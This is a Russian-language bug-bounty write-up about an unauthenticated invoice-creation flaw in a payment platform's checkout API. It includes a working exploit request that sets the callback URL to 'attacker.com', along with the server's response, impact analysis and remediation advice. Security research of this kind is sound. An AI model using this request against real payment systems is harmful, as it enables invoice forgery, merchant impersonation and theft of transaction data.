Привет, охотники! Это мой новый разбор, и он посвящён очень интересной находке — нарушению контроля доступа в платёжной платформе, благодаря которому у меня получилось создавать и подделывать счета.
Давайте начнём…
Введение
Изучая онлайн-платформу для обработки платежей на предмет возможных уязвимостей, я обнаружил критическую проблему с контролем доступа. Она позволяла любому пользователю создавать счета, привязанные к существующим идентификаторам — без какой-либо аутентификации или авторизации. Такая ошибка в настройках может легко привести к имперсонации, фишингу или даже мошенничеству в крупном размере, если этим воспользуются злоумышленники.
В этом посте я расскажу, как обнаружил уязвимость, о своём подходе и о том, как я сообщил о ней. Как и всегда, никаких конфиденциальных данных получено не было и никакого реального вреда нанесено не было.
Цель
Давайте назовём её vulnerable.com. Эта платформа предоставляет услуги по обработке платежей и оформлению заказов для продавцов. Меня особо заинтересовал их API для оформления заказов, а именно такой эндпоинт:
https://checkoutv2.vulnerable.com/v1/checkout/create
Разведка
Я начал своё исследование checkoutv2.vulnerable.com следующим образом:
— Фаззинг
— Поиск старых URL и параметров через архивы
— Просмотр сайта и отслеживание сетевых запросов во время процесса оформления заказа
— Использование инструментов вроде Burp Suite для перехвата трафика
— Проверка архивных версий сайта через Wayback Machine
В архиве Wayback Machine я нашёл такой эндпоинт:
https://checkoutv2.vulnerable.com/v1/checkout/create
Этапы:
1 – Когда я попытался получить доступ к нему через браузер, я увидел:
Метод GET не разрешён, поэтому я поменял его на POST через Burp Suite.
2 – После того как я получил доступ через Burp, я увидел:
Он принимает только тип содержимого — json
3 – Затем я добавил в запрос Content-Type text/json и поместил случайные значения JSON в тело запроса:
{
“new”: ”hello”
}
И как видно на изображении выше, бэкэнд отвечает такими JSON-параметрами —
Это навело меня на мысль — а что если я повторно использую старый ID счета с этими же JSON-параметрами?
Я снова воспользовался Wayback Machine, чтобы найти возможные ID счетов:
4 – Эксплойт:
POST /v1/checkout/create HTTP/2
Host: checkoutv2.vulnerable.com
Content-Type: application/json
{
“invoiceIdentifier”: “00000000000000000000000000000000000”,
“payCurrency”: “usd”,
“checkStatusUrl”: “https://attacker.com"}
И… бум 💥 — я получил успешный ответ:
HTTP/2 200 OK
Date: Tue, 27 May 2025 16:18:34 GMT
Content-Type: application/json
Cache-Control: no-cache, private
X-Robots-Tag: noindex
{
“data”: {
“isSuccess”: true,
“message”: “”,
“txid”: “0000000000000000000000000000000000000”
},
“status”: 1
}
-
Нет токена аутентификации
-
Нет сессионной cookie
-
Нет привязки аккаунта
-
Нет проверки владельца по идентификатору счета
Это классическая уязвимость типа Broken Access Control.
Я решил проверить, был ли созданный мной счет успешно оформлен. Для этого я перешел по этому эндпоинту из результатов wayback machine:
https://checkoutv2.vulnerable.com/v1/checkout/check-invoice-status/invoice-id
И угадайте что… Бууум! Он в статусе «ожидание», а это значит, что запрос на создание счета прошел успешно.
Я был словно…
Что может пойти не так?
Эта уязвимость открывает двери для нескольких вариантов атак:
• Подделка счетов: злоумышленник может генерировать транзакции, привязанные к счетам, которыми он не владеет.
• Имитация продавца: эти поддельные счета могут использоваться в фишинговых кампаниях или мошенничестве.
• Callback Hijacking: контролируемый злоумышленником checkStatusUrl, позволяет похищать статус транзакции или конфиденциальные данные.
Представьте, если злоумышленники зарегистрируют сотни транзакций, указывающих на их собственные сервера проверки статуса. Это не просто логическая ошибка — это потенциальный финансовый риск.
Реакция команды кибербезопасности компании:
К сожалению это был дубль, уязвимость уже была найдена внутренней командой по тестированию и мониторингу компании 🙂
Ответственность при тестировании
Из уважения к платформе и её пользователям, я не стал продолжать тестирование после подтверждения уязвимости. Я прекратил тесты, как только увидел, что система принимает повторно используемые идентификаторы счетов, и удостоверился, что ни одни реальные пользовательские данные не были затронуты.
Рекомендации по исправлению
Для устранения этой проблемы я порекомендовал:
• Валидировать владельца счета: проверять, принадлежит ли invoiceIdentifier аутентифицированной сессии.
• Ограничить checkStatusUrl: разрешать устанавливать только URL-адреса продавцов из белого списка.
• Добавить ключи идемпотентности или HMAC-подписи для чувствительных операций вроде создания счета.
Основные выводы
• Всегда проверяйте владельца объекта на бэкенд-эндпойнтах — даже если считаете их «внутренними».
• Никогда не доверяйте пользовательскому вводу при операциях, критичных для безопасности, например, при генерации счетов.
• Архивы типа Wayback Machine могут быть настоящей находкой для тестирования устаревших или забытых идентификаторов.
Финальные мысли
Это была интересная и полезная находка. Она напомнила мне, к каким серьёзным уязвимостям могут привести один раскрытый UUID и отсутствие проверки. Респект вендору за достойную реакцию!
На этом всё. Надеюсь, вам было интересно и вы узнали что-то новое.
Ещё больше познавательного контента в Telegram-канале — Life-Hack — Хакер
ссылка на оригинал статьи https://habr.com/ru/articles/916864/
Добавить комментарий